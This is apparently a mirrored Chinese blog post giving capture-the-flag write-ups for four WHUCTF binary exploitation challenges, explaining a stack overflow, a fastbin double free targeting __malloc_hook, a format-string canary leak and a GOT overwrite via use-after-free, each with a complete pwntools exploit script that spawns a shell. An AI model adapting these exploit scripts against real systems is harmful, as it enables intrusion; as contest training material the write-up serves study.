zoukankan      html  css  js  c++  java
  • WHUCTF PWN题目

      花了大概两天时间来做WHUCTF的题目,第一次排名这么靠前。首先感谢武汉大学举办这次萌新赛,也感谢fmyy的师傅的耐心指导,让我第一次做出堆的题目来。

    pwnpwnpwn

      这是一道栈题目,32位程序,只开启了堆栈不可执行。栈溢出泄露libc的基地址,然后换成one_gadget,就可以了。

     1 from pwn import *
     2 
     3 #p = process('./pwn')
     4 p = remote('218.197.154.9',10004)
     5 elf = ELF('./pwn')
     6 context.log_level = 'debug'
     7 
     8 write_plt = elf.plt['write']
     9 fun_got = elf.got['__libc_start_main']
    10 main = elf.symbols['main']
    11 
    12 payload = 'a'*0x88 + 'bbbb' + p32(write_plt)
    13 payload += p32(main) + p32(1) + p32(fun_got) + p32(0x10)
    14 p.sendlineafter('Ready?
    ',payload)
    15 base_addr = u32(p.recv(4)) - 0x018540
    16 shell = base_addr + 0x3a80c
    17 payload = 'a'*0x88 + 'bbbb' + p32(shell)
    18 p.sendlineafter('Ready?
    ',payload)
    19 p.interactive()
    View Code

    FFF

      一道堆题目,64位程序,保护全开。题目有UAF,可以用double free进行攻击。

      首先做的第一步,就是先利用unsortedbin的机制来泄露libc,这里我就说一下我的理解,就是在malloc堆的时候堆的大小大于120,再free,这个堆就会先放到unsortedbin里面。这里说的120是malloc(120),并不是堆的实际大小,而且是大于,就说明121才可以。

      放到unsortedbin里面,在2.23的libc版本中,此时的未释放的指针还是指向堆,而堆指向的地址是main_arena+88的位置,这里我们可以用程序的show功能,来泄露libc版本和基地址。在这里,我刚开始做的时候,一直找不到main_arena+88在libc中的偏移。无奈又去问了fmyy师傅,师傅告诉我说,main_arena 在malloc_hook下面0x10个字节。这下问题就解决了。

      在这里可以很清楚的看到,main_arena和__malloc_hook的位置。(超开心,感觉找到了几个月前刚知道libc的感觉)

      接下来就是double free了。

      add(0x80)  #chunk0

      add(0x60) #chunk1

      add(0x60) #chunk2

      delete(0) 

      show(0)    #泄露libc

      delete(1)  #free chunk1

      delete(2) #free chunk2

      delete(1) #再次free chunk1

      此时的fastbins是这样的,我们接下来要将他们都申请回来。第一次申请会申请到这个地址。

      add(0x60)

      这个时候,我们修改再次申请到的chunk1的fd指针,让他指向我们想要指向的

      edit(1,8,address)

      这个时候我们再看一下fastbins

      这个时候我们再申请回chunk2,再申请一次chunk1,再申请一次chunk,就会申请到我们想要申请的地址了。这里我用abcdefgh来标注了一下。这里我们要填哪个地址呢?目前我知道的,是可以申请到malloc_hook -0x23的地方,这个地址+0x8会指向一个字节是是0x7f,就是让这个当作这次申请的chunk的size字段,这样就可以成功申请下来了。

      由于小端存储,此时我们将chunk申请到了malloc_hook -0x23的位置。

      这个时候我们是可以对这个chunk进行写操作的,我们可写的内容就是malloc_hook -0x23+0x10一下的位置,我们这里申请的chunk是0x60大小,就可以往下写0x60大小。

      所以接下来的操作就是

      add(0x60)  #申请回来chunk2

      add(0x60)  #再次申请chunk1

      add(0x60)  #申请chunk3,位置就到了malloc_hook -0x23的位置。

      这个时候我们对chunk3进行写操作,将__malloc_hook的位置写上one_gadget,这个时候我们再次调用malloc函数的时候,就会调用one_gadget来拿到shell。

      edit(6,28,'x00'*0x13 + p64(one_gadget))

      add(0x60)  #调用__malloc_hook拿到shell!!!

      补充:目前的理解是,__malloc_hook是程序在执行malloc的时候会先执行__malloc_hook中指向的命令。也附一下其他师傅的理解,相互补充。原文地址

      这道题就算是做完了,最后贴一下exp:

     1 from pwn import * 
     2 
     3 p = process('./pwn')
     4 #p = remote('218.197.154.9',10007)
     5 elf = ELF('./pwn')
     6 libc = ELF('libc6_2.23-0ubuntu10_amd64.so')
     7 context.log_level = 'debug'
     8 
     9 def duan():
    10     gdb.attach(p)
    11     pause()
    12 
    13 def add(size):
    14     p.sendlineafter('> ','1')
    15     p.sendlineafter('size?
    ',str(size))
    16 
    17 def edit(index,size,content):
    18     p.sendlineafter('> ','2')
    19     p.sendlineafter('index?
    ',str(index))
    20     p.sendlineafter('size?
    ',str(size))
    21     p.send(content)
    22 
    23 def show(index):
    24     p.sendlineafter('> ','3')
    25     p.sendlineafter('index?
    ',str(index))
    26 
    27 def remove(index):
    28     p.sendlineafter('> ','4')
    29     p.sendlineafter('index?
    ',str(index))
    30 
    31 add(0x80)
    32 add(0x60)
    33 add(0x60)
    34 remove(0)
    35 show(0)
    36 
    37 malloc_hook = u64(p.recv(6).ljust(8,'x00')) - 88 - 0x10
    38 print hex(malloc_hook)
    39 libc_base = malloc_hook - 0x3c4b10
    40 one_gadget = libc_base + 0xF02A4
    41 remove(1)
    42 remove(2)
    43 remove(1)
    44 
    45 add(0x60)
    46 edit(1,8,p64(malloc_hook - 0x23))
    47 #duan()
    48 add(0x60)
    49 add(0x60)
    50 add(0x60)
    51 edit(6,28,'x00'*0x13 + p64(one_gadget))
    52 add(0x60)
    53 
    54 p.interactive()
    View Code

    arbitrary

      64位程序,保护全开,是一道栈的题目。不过我感觉我的做法好像非预期了。。。

      先ida看一下伪代码:

      main函数展示了一个菜单,而且每个功能只能用一次。我们再来看一下f1()函数做了些什么:

       大概意思就是往addr写数字,然后...就没了...我也没太理解出题人设计这个f1()的意思。addr下面是控制函数只能执行一次的变量,我们可以通过覆盖这些变量,让功能可以重复再用一次。不过好像不用这个也可以getshell!

      接下来我们看f2():

      很明显第二次read的时候可以溢出到rip,但是程序开启了canary保护,所以我们不能直接溢出。

      接下来看f3():

      有一个格式话字符串漏洞,我在使用的时候发现不能用$,看别的师傅说是把$ban掉了。。。这里就有一个新知识点了。我们再回到此题的保护:

      出现一个从未见过的保护,FORTIFY,这里就注意一下这个保护:

      FORTIFY:FORTIFY_SOURCE 机制对格式化字符串有两个限制

      (1)包含%n的格式化字符串不能位于程序内存中的可写地址。

      (2)当使用位置参数时,必须使用范围内的所有参数。所以如果要使用%7$x,你必须同时使用1,2,3,4,5和6。

      所以就给我们利用格式化字符串造成了一些麻烦,但是这题我们只要想着可以泄露libc和canary就可以了。这个时候我就想着,管他呢,我先随便泄露一些东西,看看是啥。我先把rsp向上抬了0x50,方便看东西。

      可以看到是直接可以一步泄露出canary和libc的基地址的。这里有一点注意的是,我虽然很清楚rbp上面8个字节就是canary,但是这道题的canary不能直接用,需要讲最后一个字节“0a”改成“00”,因为我也很清楚,canary的最后一个自己一定是“00”。。。我也不太清楚为什么这道题先leak出来是“0a”。接下来就是利用f2()的栈溢出覆盖成one_gadget来getshell了。

      贴一下exp:

     1 from pwn import *
     2 
     3 p = process('./pwn')
     4 #p = remote('218.197.154.9',10005)
     5 elf = ELF('./pwn')
     6 #libc = ELF('./libc-2.23.so')
     7 context.log_level = 'debug'
     8 
     9 def duan():
    10     gdb.attach(p)
    11     pause()
    12 
    13 p.sendlineafter('choice>>
    ','3')
    14 payload = 'aaaaaaaa%p%p%p%p%p%p%pbbbbbbbb%p%pcccccccc%p'
    15 p.sendafter('input data:
    ',payload)
    16 p.recvuntil('bbbbbbbb')
    17 canary = int(p.recv(16).ljust(18,'0'),16)
    18 print hex(canary)
    19 p.recvuntil('cccccccc')
    20 libc_base = int(p.recv(14),16) - 240 - 0x020740
    21 shell = libc_base + 0x45216
    22 p.sendlineafter('choice>>
    ','2')
    23 p.sendafter('input data:','a')
    24 payload = 'a'*0x38 + p64(canary) + 'bbbbbbbb' + p64(shell)
    25 p.sendafter('input data:',payload)
    26 p.interactive()
    View Code

    attention

      先看一下保护:

      可以看到只开启了部分RELRO,这个时候got表是可写的。我们看一下这个程序都做了些什么。

      也是一道菜单的堆题目,可以看到我们可以进行菜单操作88次,88次后就会退出。接下来看一次每一个功能做了些什么。先看create:

      直接就是申请一个固定大小的堆块,用指针指向。说明我们假如再申请一个堆块,这个指针就又会指向新申请的堆块。

      接下来看edit:

      也很简单,就是向堆块里面写值,可以写一个8字节的name,可以写一个0x20字节的data。但是只能向ptr指向的那个堆写内容。接下来看delete:

      确实是萌新赛,太照顾我了。。。感动,又一个UAF。

      最后一个show:

      就是普通的打印操作了。

      UAF漏洞,我们先申请一个chunk0,再free掉,然后向chunk0的fd位置写上我们想要堆块第三次申请到的地址:

      在fastbins里面已经有了。这里有就学问了,那么这里的“abcdefgh”应该替换成什么呢?就是我们要申请到哪个地址呢?

      还记得main函数中有个东西是,菜单只能循环88次吗?而循环递增的变量就是这个dword_6010A8,我们只要将这个变量变成大于或等于0x41,就可以将堆申请到这里,并且来控制ptr指针了。所以我们先使用菜单让这个变量大于0x41,接下来就执行下面的操作。

      creat()

      delete()

      edit(p64(0x6010A0),'bbbbbbbb')  #需要指向堆块的开头位置,所以-8

      creat()

      creat()

      很清楚的可以看到此时的ptr指针是指向自己的,这个时候我们就可以修改指针,让指针指向got表的位置,然后进行show操作,先泄露libc的基地址,然后edit操作修改成one_gadget来getsshell。我这里修改的是atoi的got表。

      edit(p64(0x601060),'bbbbbbbb')

      show()

      edit(p64(shell),'bbbbbbbb')

      p.sendline('5')   #触发getshell

      p.interactive()

      这道题就做完了,最后贴一下exp:

     1 from pwn import *
     2 
     3 p = process('./pwn')
     4 #p = remote('218.197.154.9',10002)
     5 context.log_level = 'debug'
     6 
     7 def duan():
     8     gdb.attach(p)
     9     pause()
    10 
    11 def create():
    12     p.sendlineafter('choice :
    ','1')
    13 
    14 def edit(name,data):
    15     p.sendlineafter('choice :
    ','2')
    16     p.sendafter('name:
    ',name)    
    17     p.sendafter('data:
    ',data)
    18 
    19 def delete():
    20     p.sendlineafter('choice :
    ','3')
    21 
    22 def show():
    23     p.sendlineafter('choice :
    ','4')
    24 
    25 create()
    26 delete()
    27 for i in range(0x3d):
    28     edit('aaaaaaaa','bbbbbbbb')
    29 
    30 edit(p64(0x06010A0),'bbbbbbbb')
    31 create()
    32 create()
    33 edit(p64(0x00601060),'bbbbbbbb')
    34 show()
    35 p.recvuntil('name:')
    36 libc_base = u64(p.recv(6).ljust(8,'x00'))-0x036e80
    37 shell = libc_base + 0xf1147
    38 edit(p64(shell),p64(shell))
    39 p.sendline('5')
    40 p.sendline('ls')
    41 p.sendline('cat flag')
    42 p.recv()
    43 p.close()
    View Code
  • 相关阅读:
    docker 安装mysql
    Java web项目搭建系列之二 Jetty下运行项目
    Java web项目搭建系列之一 Eclipse中新建Maven项目
    Maven 添加其他Maven组件配置问题
    C# 中定义扩展方法
    Oracle 函数
    【Webservice】2 counts of IllegalAnnotationExceptions Two classes have the same XML type name
    Linux精简版系统安装网络配置问题解决
    Rsync 故障排查整理
    Failed to set session cookie. Maybe you are using HTTP instead of HTTPS to access phpMyAdmin.
  • 原文地址:https://www.cnblogs.com/bhxdn/p/12983787.html
Copyright © 2011-2022 走看看